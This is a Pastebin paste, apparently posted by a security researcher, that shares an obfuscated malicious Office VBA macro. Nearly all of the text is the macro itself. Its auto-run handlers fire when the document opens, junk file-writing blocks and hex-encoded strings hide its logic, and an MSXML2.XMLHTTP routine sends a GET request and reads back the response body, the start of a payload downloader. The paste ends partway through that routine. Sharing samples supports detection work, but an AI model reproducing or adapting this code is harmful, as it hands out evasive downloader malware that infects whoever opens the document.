Neonprimetime

VBA Macro [email protected]

Apr 14th, 2015
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 31.54 KB | None | 0 0
  1. Malicious VBA Macro
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. *****
  6. Sub Auto_Open()
  7.     GoTo ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls
  8.     Dim vcmshvngaavlbucmxvywmbzsojixtazoygxmjkfqsdfknvnpjrodnhqybqvwotkohzhqgjvkggixyiv As String
  9.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("736566616167716A787270786E646178656C6C6D706B77767A6A756C696876676B6267656B766D65667A67727A68616B66796F726C6D7565696D65616D76646B787673747A66737467647A6E71676E") For Binary As #95469
  10.     Put #95469, , vcmshvngaavlbucmxvywmbzsojixtazoygxmjkfqsdfknvnpjrodnhqybqvwotkohzhqgjvkggixyiv
  11.     Close #95469
  12.     ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls:
  13.     GoTo chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg
  14.     Dim douhxlzopccdxbvwnwoduiogwgtilpwnvjezyzlkciswvpkhaoishfjwcockyipcvkgsktjgefetxha As String
  15.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("776A796E68747070687A6377656563777A6E6C6A74766E6B786D667975617362656663716B6576787274787668706673616C7868796E6A6D767274767461636B6866647370716462626665776E6571") For Binary As #63374
  16.     Put #63374, , douhxlzopccdxbvwnwoduiogwgtilpwnvjezyzlkciswvpkhaoishfjwcockyipcvkgsktjgefetxha
  17.     Close #63374
  18.     chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg:
  19.     GoTo jblinrdlftuhphgobjyhymyajznswqalidcaqoftcrkkseuneycvhdbzemmzdjotynipdjhpbooygzf
  20.     Dim ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls As String
  21.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("756D706A6769767665706772676B796B6A6369677566647A7677776F787065736F756F676E76747A6B616362706A636E617273767962636F6771706B71697465636464646D69626F646F756C726375") For Binary As #27113
  22.     Put #27113, , ytrukhnaojtkfjlultlyckealyzkdumzrlllmwtuhsbvwudcmxcmymxbnxbgybmagdwcppdlwsnojls
  23.     Close #27113
  24.     jblinrdlftuhphgobjyhymyajznswqalidcaqoftcrkkseuneycvhdbzemmzdjotynipdjhpbooygzf:
  25.     AJMLBVAWVNS
  26. End Sub
  27.  
  28. Sub AutoOpen()
  29.     GoTo dnvjwlvnxgtibifdovmgagaqxjdxxoayfmhmfrwebcilplughadfhixzrvkxbdqubfwqsjlasurspxn
  30.     Dim qyahzspilbrplokadfpyltnqvabaebmamgzkpjxtkqjbardazjdkytobmohhlxidtkgrozhouazgxqv As String
  31.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6462707372636D6B7A77757666666D676167636D7064717266686274777A7064626F736A6A77797668667A687A676E666F656A666A796E667363646E776368756978796862696B66616868767A7271") For Binary As #46181
  32.     Put #46181, , qyahzspilbrplokadfpyltnqvabaebmamgzkpjxtkqjbardazjdkytobmohhlxidtkgrozhouazgxqv
  33.     Close #46181
  34.     dnvjwlvnxgtibifdovmgagaqxjdxxoayfmhmfrwebcilplughadfhixzrvkxbdqubfwqsjlasurspxn:
  35.     GoTo emntskbkmnvmhoxmqnxzvqkkrcbididipmygpujqwbyhiviwjxnqoxwosnjyukuinqslsauzdfuicdt
  36.     Dim qocqmqyszisyhtoglvfplkxfgrakfrnghysntazxltwizrsjlzrtgifdfmigwxwulxrhgrxlzjrzuve As String
  37.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6F6474716F79646369696B716170717175656D646F6F6A7A7A7070766B626D76626B7767797A6E666A6765747A7373667066616F73757462656676666869736F777665627377756863646F69637270") For Binary As #33494
  38.     Put #33494, , qocqmqyszisyhtoglvfplkxfgrakfrnghysntazxltwizrsjlzrtgifdfmigwxwulxrhgrxlzjrzuve
  39.     Close #33494
  40.     emntskbkmnvmhoxmqnxzvqkkrcbididipmygpujqwbyhiviwjxnqoxwosnjyukuinqslsauzdfuicdt:
  41.         Auto_Open
  42. End Sub
  43.  
  44. Sub Workbook_Open()
  45.     GoTo oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve
  46.     Dim lwzyzevcmxggtzukrkamobcieixzrwxssoluhhmjidfeqkmsacbphfxdduspejqnekgdtzsnipuwluj As String
  47.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6C616B6E7162686E7168697671666670627573716D756C76637377746C6576756666707A76757174726C7A73737174676F786F696F76727566786C65777471787773636971756E666F726173657A76") For Binary As #63411
  48.     Put #63411, , lwzyzevcmxggtzukrkamobcieixzrwxssoluhhmjidfeqkmsacbphfxdduspejqnekgdtzsnipuwluj
  49.     Close #63411
  50.     oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve:
  51.     GoTo cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq
  52.     Dim chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg As String
  53.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("757662646E6C6165736D79756A6567667366686175716A61746D6B776466747665687179676479656A766F666D6A766F656D6F756E786C6561646B6C6B697A6261757A7172766B616E657678706C61") For Binary As #19916
  54.     Put #19916, , chzagiljzsothhajadprvhyognoxzqazbhmxinlqhlfwnaildphnqdaasrwejrvptbqjjmwqkvmqukg
  55.     Close #19916
  56.     cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq:
  57.     GoTo dkarhocikkcabhvnudoertjktzcjbjyqiskcrmebsgqalnvlabnecjckkqhjlizbzenqqzayvljgwvr
  58.     Dim oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve As String
  59.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("79746C71716F647775727579717A676F70786871726863666F74756D706F6F6B6A616775646C6F6172776D7A6565657865686D617562626C74786F6C7369636D627A796F7466646571696F656B6D72") For Binary As #77273
  60.     Put #77273, , oaojpsjthakdyvtwaiumfsqnvhjqlpkmzscstsdpubekhsjhoiaitaennuddtmalvfaaahudigpkxve
  61.     Close #77273
  62.     dkarhocikkcabhvnudoertjktzcjbjyqiskcrmebsgqalnvlabnecjckkqhjlizbzenqqzayvljgwvr:
  63.         Auto_Open
  64. End Sub
  65.  
  66. Function ZYRBWVLOAHJ(ByVal WCQMMXHRIKW As String, ByVal HNRAZHCBCUV As String) As Boolean
  67.      Dim RKOTAYEKGNL As Object, DZHZCTKOBFY As Long, CQEKWVEMYEO As Long, BLFXSWIMXEI() As Byte
  68.  
  69.     GoTo myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg
  70.     Dim ufvxmfwtmbajhgpffdkpcbkqsnhztpzvkeyxzzskquiqfymbfgxbsouctmnssbcccthhqmniweddeds As String
  71.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7070686D67746B7564636F636F75737A6F65686F6C657176786774627263716268616E64736A676D78736E6A776B6B6A626F6F79746561617671777A70686874756E6E757376726C6E6B7774626E62") For Binary As #65541
  72.     Put #65541, , ufvxmfwtmbajhgpffdkpcbkqsnhztpzvkeyxzzskquiqfymbfgxbsouctmnssbcccthhqmniweddeds
  73.     Close #65541
  74.     myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg:
  75.     GoTo uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme
  76.     Dim vrvcqymrynynbaffvocgtutfnzblqegvadpfbxdnbzwuljpteixzluqadvmbjabqqwoqbzgzwevocyq As String
  77.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6E6E64746A61626C6C77686662617178786D66786B7767626569757A64796F666871736D76686473617071696F627769726C61696C74777A6C656361647A65636177717567696D6473737471737376") For Binary As #9996
  78.     Put #9996, , vrvcqymrynynbaffvocgtutfnzblqegvadpfbxdnbzwuljpteixzluqadvmbjabqqwoqbzgzwevocyq
  79.     Close #9996
  80.     uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme:
  81.     GoTo odoyusnrpwhfchtljgflazbiwzvfoxklfuybecxpncliphzfjpbiaoqtvgdapnhpihkahmifvrnvxck
  82.     Dim myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg As String
  83.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("796A616C786F6D66746462616A61766D6D6C626A736F726E6A7261636A70736F6E6B65777475757677687763797666766A63746E7977716D6379686370666768766E6C717A71617970676962777774") For Binary As #2433
  84.     Put #2433, , myrzhzqbigqowblegrdnphmgumpahfotdisbqixiyfjiibwafokxvpubuqtcmsaxmudvktenazemmzg
  85.     Close #2433
  86.     odoyusnrpwhfchtljgflazbiwzvfoxklfuybecxpncliphzfjpbiaoqtvgdapnhpihkahmifvrnvxck:
  87.         Set RKOTAYEKGNL = CreateObject(hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("4D") + "SXML2.XMLHTT" + "P")
  88.     GoTo duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc
  89.     Dim xovyvnmnpybnrgpagcbshhlkrnaajaubcvxrbhscpuzemxqrronlrqmdxykcvnewfkgjzkfnlnmskly As String
  90.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6F6C78776B796864706D6D62666569646C6E6B686668756E66786B617A767572676D67776672616B71716165756971736E7274707364736A64716C6F79667072656F6F6763666F64657570687A7369") For Binary As #27344
  91.     Put #27344, , xovyvnmnpybnrgpagcbshhlkrnaajaubcvxrbhscpuzemxqrronlrqmdxykcvnewfkgjzkfnlnmskly
  92.     Close #27344
  93.     duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc:
  94.     GoTo bhyxxtvjryvwxjcefgysdsgntplgbryjzqmblsaxxycorowuhjlpldxoeotwbtjuluesfmdvzncfnmw
  95.     Dim cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq As String
  96.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("636875786A647275706A7A786570766C7171796A74646E787462727471727A6B6F6263737A767263746F6A6B6D766E6C7964716E716D677769656775786870706A797464647777656A726F67696E79") For Binary As #19244
  97.     Put #19244, , cvriputahksmcdzisdbaymoxhqevnlwxhnrpfeyhzhofukceljvvcbydtpbszasyoavnjrlrwsojozq
  98.     Close #19244
  99.     bhyxxtvjryvwxjcefgysdsgntplgbryjzqmblsaxxycorowuhjlpldxoeotwbtjuluesfmdvzncfnmw:
  100.     GoTo hxhfitfdcsickxspkhncxkfjswllfqvybxxtaiamrabefqapozfdzjrklgwgkochrryuojtlseaxbec
  101.     Dim duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc As String
  102.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6364656C707762646668746978636B7566736E707A7470667A6C77687162697A7368706E70647364766E756C7A756E6F6D656D666E7878726D75797A726B6672746E6B7866756D7376736E79777971") For Binary As #66300
  103.     Put #66300, , duezjihfgzungakopdsycdetuuwqkflqjyqirmnygbweiekyemjjzbvrgcjekpdudonxqpxzdoobycc
  104.     Close #66300
  105.     hxhfitfdcsickxspkhncxkfjswllfqvybxxtaiamrabefqapozfdzjrklgwgkochrryuojtlseaxbec:
  106.         RKOTAYEKGNL.Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("474554"), WCQMMXHRIKW, False
  107.     GoTo cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv
  108.     Dim fpwsfibfiftneqjunuubpzmjgdafihlzoddtwzuytvlxduxtadfkkuxsswjleojmvzhxyrcxlanryxp As String
  109.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("78736C666B7269636C66726A697A67797A747670767476736474776A656D746C7A65776C6A636F79767766636B6F6371637066776D756B75786C6D64766F6579687474706E776A7A6B67747767676E") For Binary As #44765
  110.     Put #44765, , fpwsfibfiftneqjunuubpzmjgdafihlzoddtwzuytvlxduxtadfkkuxsswjleojmvzhxyrcxlanryxp
  111.     Close #44765
  112.     cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv:
  113.     GoTo wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc
  114.     Dim mdwjtezhoofjfnipszblwhhylmqxprdqgmjgdqsgsciiyfobzpuwzeocvkiewuedqhkvxhpqmowkjpx As String
  115.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("68776E7062706C7A6B66716F7470686E706B667761766B776F6265756962616C6777796E6361666D696D6B6975756474716B777A6779696764696B7677626A627178676568667862686C6D726A617A") For Binary As #4346
  116.     Put #4346, , mdwjtezhoofjfnipszblwhhylmqxprdqgmjgdqsgsciiyfobzpuwzeocvkiewuedqhkvxhpqmowkjpx
  117.     Close #4346
  118.     wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc:
  119.     GoTo yrfgrghzyooxujmzsdsgffgjatwplzwcmpavjjcrxpdirkzxbifaucspdzerylomowotqtstkjqjqiv
  120.     Dim cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv As String
  121.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6E70696B616B6E7467716865657A726B73707A726E6D677A637474646E646D6C7A726E7467726C68697073647367796D6A717378777271646E6D78756F6C7167616168616F7672766C726E786E7369") For Binary As #32363
  122.     Put #32363, , cjuvtbrpoqqwcoermkukmkbpnvgkdbnypsuyrnuobywxgbdidfpgetyilhxtgtevylwntmaahxeqqcv
  123.     Close #32363
  124.     yrfgrghzyooxujmzsdsgffgjatwplzwcmpavjjcrxpdirkzxbifaucspdzerylomowotqtstkjqjqiv:
  125.         RKOTAYEKGNL.Send "send request"
  126.  
  127.     GoTo pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj
  128.     Dim jcqlsrwqifohevhzozscolakpjlkskmmjydfebetrywnulfmvrmcpemgtwmvbkrfxbqovrhoilwmfxj As String
  129.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6A6B786A71617868706466747663696A726D7463686B737A766C6C6B756C6E7A796F65637A6A706A6D6B696F716C73767875736E7A716A6A65786F61646D6F6F69676D666B71717476766862617579") For Binary As #23827
  130.     Put #23827, , jcqlsrwqifohevhzozscolakpjlkskmmjydfebetrywnulfmvrmcpemgtwmvbkrfxbqovrhoilwmfxj
  131.     Close #23827
  132.     pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj:
  133.     GoTo rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj
  134.     Dim fekfhkiwiefypgyphnwmfdlamfbrvpxkyypymajfperrmfmkxkgahipdfrqzhfsaxrnxtzfkxiwnvid As String
  135.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("636E6B7A6F6471716962736A6C6D796969626B6764797575647662716272666F716873636766776F77726F71646B6977717A6262717475646D6A70646570736E68706B786B696C7575616975707169") For Binary As #62497
  136.     Put #62497, , fekfhkiwiefypgyphnwmfdlamfbrvpxkyypymajfperrmfmkxkgahipdfrqzhfsaxrnxtzfkxiwnvid
  137.     Close #62497
  138.     rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj:
  139.     GoTo pusewazmyocsuzbbchydfogkyipczvssygsrkqiwzegxmafkxantaojvyxfmanbfyyceorewitvznow
  140.     Dim pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj As String
  141.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("776264776463736E796C627070636E6D786677756B7A7172756C65666672717A79706D61696E77627A69796D66766372686B6E6C66686C70797765746275796B776F6965616379696268696A787268") For Binary As #75171
  142.     Put #75171, , pnqcvsyhdeeumchtzhqyebsgthnxybosjwtyxvwyhyiskzbguekitvzzdyiwywpkqelzoayktqgvvgj
  143.     Close #75171
  144.     pusewazmyocsuzbbchydfogkyipczvssygsrkqiwzegxmafkxantaojvyxfmanbfyyceorewitvznow:
  145.         Do While RKOTAYEKGNL.readyState <> 4
  146.     GoTo rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn
  147.     Dim fefmyuxvyzcwlimbhfkxjhiszsemgjpdqqlkcayeeizvjaryxpohkdjpwgxcfgugcbmrxzznpybbihx As String
  148.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7267686A6B7A706771677866777573766970796B6E666C6E7167706F7A74746370757071627A6772656163687964766F7967746664706F7A7578736D7666756E6B676E796F756C61617A7479737A77") For Binary As #49574
  149.     Put #49574, , fefmyuxvyzcwlimbhfkxjhiszsemgjpdqqlkcayeeizvjaryxpohkdjpwgxcfgugcbmrxzznpybbihx
  150.     Close #49574
  151.     rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn:
  152.     GoTo csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood
  153.     Dim ftjedklwfcsymtyieeblaxvptiykhxxindewbxngsqqcrkrjqwaapkiissqowdhwuthxptglsmitvun As String
  154.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("736C6C6378767463777A6462736A756F6A75626370727966656365616D696E617374637872646D6773756D706168737379736B687A766668726F617362636C7A6D717A636A71656361636177796F71") For Binary As #54763
  155.     Put #54763, , ftjedklwfcsymtyieeblaxvptiykhxxindewbxngsqqcrkrjqwaapkiissqowdhwuthxptglsmitvun
  156.     Close #54763
  157.     csejeubmgsbaqcprtfnpllzglqpeirerasnemanjesecyuxqreibvjwjlvncdnwljfwnoaqtbzgwood:
  158.     GoTo blwnacpovkrkpdjylbmhdcapcgrrustwmzkydcasvpmeholcxxpnbhjbumnqatmffdxzizoybhyoprm
  159.     Dim rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn As String
  160.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("70696A6F6C74756975657A63776A6463656E6F6C657A636768697666667A7174637268686665726D656473626267786B6C7563746D7A64656D7871637468736778626F756364726B6F6E666E626D61") For Binary As #59143
  161.     Put #59143, , rasprjgycanqqzbaxrbzpqfqgibuayhaszvxfvobweszdxpoetxfumbyjhchhvkyjxvwkhksoaaxdrn
  162.     Close #59143
  163.     blwnacpovkrkpdjylbmhdcapcgrrustwmzkydcasvpmeholcxxpnbhjbumnqatmffdxzizoybhyoprm:
  164.         DoEvents
  165.     GoTo vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom
  166.     Dim cdkdxbsedwuvalfotlcteedjdlhnmmqkcbyhcmhtgkphxejirvffnpnvyylbaamrkyeommngciiqehx As String
  167.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("697A776875697A69716C726E73796A7979716C7366757A75657163746C7A637771766E6E7166657568636A6D766F746D7866796379776A6C74676A7873677669786B7678677663637268797A796A69") For Binary As #83653
  168.     Put #83653, , cdkdxbsedwuvalfotlcteedjdlhnmmqkcbyhcmhtgkphxejirvffnpnvyylbaamrkyeommngciiqehx
  169.     Close #83653
  170.     vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom:
  171.     GoTo iqfxcxnkcehxkrwxmetuqgbxsvncxjmgirpqfyyulxigkbyxeovrnpqhkofefqkloueipzfqudtebcy
  172.     Dim uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme As String
  173.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7875687579666D6671756A63716372637563696679746477787461616E6C6E68637875756D796264716472786862646A657A6573766C7172736B64706A6876627566706F656679676A647470726679") For Binary As #75793
  174.     Put #75793, , uvpbscfxmhivrnmhwwdcjjufvmdfphhwhbhxkapvygxaadgobwxumprvussrcqubzjbhkjkdvsuyzme
  175.     Close #75793
  176.     iqfxcxnkcehxkrwxmetuqgbxsvncxjmgirpqfyyulxigkbyxeovrnpqhkofefqkloueipzfqudtebcy:
  177.     GoTo nsdvwxuwxbxzuqnvieofikotedblfdbzosyltdnnztwtqdabywjbbppynzrvoslqdjyrcauokptdxba
  178.     Dim vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom As String
  179.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("66726B686564697469797A67646666637676776D756C6B6E7764756B79666179696F72737066776D666C696D686766756C6B74686A67646C6368616F75657A68646B63696D6C7A637A6E6766757471") For Binary As #73343
  180.     Put #73343, , vzazlvjhyimlihvsylasdhhqfzamgnpkfiddlreqpgjneprzowxswyemaxvrryfleomqmrcjncqhtom
  181.     Close #73343
  182.     nsdvwxuwxbxzuqnvieofikotedblfdbzosyltdnnztwtqdabywjbbppynzrvoslqdjyrcauokptdxba:
  183.         Loop
  184.  
  185.     GoTo zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq
  186.     Dim mhhwzzyodwzfaxscjrkrwmdkietswsatwqucvfarfaxqkgifljnoqyfaauswruhigpuykmlafnfvshl As String
  187.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("637970616477776C67717367656B79666B756B746D6566706A77686E74616B64676162626471746A6F616D6E79726874716D686B6D69676E726E737368706661667673647162646D6168656B6C6173") For Binary As #46954
  188.     Put #46954, , mhhwzzyodwzfaxscjrkrwmdkietswsatwqucvfarfaxqkgifljnoqyfaauswruhigpuykmlafnfvshl
  189.     Close #46954
  190.     zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq:
  191.     GoTo dxytoleohhzdsjclgbherlhbnpfeoxwkjxgirtalgynzlvxguztdpxgmpjcgzuvgiqedtkjgorosxgb
  192.     Dim wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc As String
  193.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("7A6E726E736778716E77767170627A657463657962706D6B78736A6D7A7775677473736F72736F6A786A6D73796976666A6878667772637769737966786F70737761686D65696973666E7876716F77") For Binary As #99961
  194.     Put #99961, , wwpeaskqznogrlmjugnxzidbarnilmqpdapnskwqtdyliaksfmtjsoafhszugjgojthhfzfchvnhbzc
  195.     Close #99961
  196.     dxytoleohhzdsjclgbherlhbnpfeoxwkjxgirtalgynzlvxguztdpxgmpjcgzuvgiqedtkjgorosxgb:
  197.     GoTo shaglofixbnaicvaqygducpumhgeygymjtunyhzvpjrocxwwexswlybpwxgqfiytmwoqfmmyummuwnu
  198.     Dim zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq As String
  199.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6C6B75616E626C6865756C77727665777573716565666F7368646D6F7A65726A7763656D656C656F75746C6D626D6364626767706F71616E786D786D7A6161796576736E667161616C6E7369716B78") For Binary As #34232
  200.     Put #34232, , zezpomlpnoayxqufljxqycqcpdzrinexomafiwjkagrhuykkfzqttvidxfoqvewzkxvfdtwyjwdzasq
  201.     Close #34232
  202.     shaglofixbnaicvaqygducpumhgeygymjtunyhzvpjrocxwwexswlybpwxgqfiytmwoqfmmyummuwnu:
  203.         BLFXSWIMXEI = RKOTAYEKGNL.responseBody
  204.  
  205.     GoTo buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb
  206.     Dim flfooudbdqbwskmmmuxeqydqhychcgpzmcuebjvwdpctxvmihixhzwlfruxnnhexsvprynpbehilijb As String
  207.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("6B786766676E7970756C7A656F6C616373616E696C6871777368676D6F7170746D6A6E777578756D786272636967656D6C7664637071667564717A6D656D6C66747474797076677A7562667A68656F") For Binary As #37313
  208.     Put #37313, , flfooudbdqbwskmmmuxeqydqhychcgpzmcuebjvwdpctxvmihixhzwlfruxnnhexsvprynpbehilijb
  209.     Close #37313
  210.     buomuvcnnogxcctkswjltqqvjhsisafajrszoydhmbyqsjixafgabpchjgwvlaibgbmswtxwyoujisb:
  211.     GoTo blydotyhnnxwsicqqpswmppidhnmkyuufboxjcpxgrpanxvyxqhzczpjljtkdremdipslzdbakspnnk
  212.     Dim rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj As String
  213.     Open hxdjnaqbbiwwvxsjmywwlekhtaqbbcgnpxediqnjytddtuqkdqtinpkbkhlwkdjkdraiwzolkqjyfzz("73776C676F7668787666616E6C75757572667767756764636D6C64636C706E717264796F77766F6777746273727179616667676A6A797378716A616E646374667A656163726672766B676B6D79756A") For Binary As #95222
  214.     Put #95222, , rajvfnadbojtpjrcxkanikckwpwdoakhjbhajvquohxlvbjwedkbttlnmrwflcpwhlxpmjoexdtclbj
  215.     Close #95222
  216.     blydotyhnnxwsicqqpswmppidhnmkyuufboxjcpxgrpanxvyxqhzczpjljtkdremdipslzdbakspnnk:
